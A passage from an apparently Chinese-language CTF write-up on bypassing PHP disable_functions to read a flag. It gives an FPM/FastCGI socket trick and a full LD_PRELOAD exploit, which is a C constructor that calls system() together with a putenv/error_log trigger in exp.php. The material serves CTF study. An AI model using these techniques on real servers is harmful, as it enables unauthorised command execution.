出題人在tmp目錄已經給我們FastCGI的套接字/tmp/php-cgi.sock,直接修改腳本new Client("unix:///tmp/php-cgi.sock", -1)
同時我們還要上傳一個readflag.php
文件作為腳本的SCRIPT_FILENAME
,這里我讓FPM
為我們加載這樣一個php腳本,成功讀到readflag
程序。
<?php
var_dump(file_get_contents('/readflag'));
在buuoj
的實例中,由于沒有用FPM/FastCGI
,所以只能用error_log+putenv
#zz.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}
# exp.php
<?php
putenv("LD_PRELOAD=/tmp/zz.so");
error_log('',1);
?>
上傳上面兩個文件到/tmp
下,然后包含exp.php
即可。
除了error_log
外,mail
也能調用了外部進程sendmail
。
https://www.anquanke.com/post/id/175403#h2-3
https://www.anquanke.com/post/id/186186#h2-7
https://xz.aliyun.com/t/5598?tdsourcetag=s_pctim_aiomsg#toc-2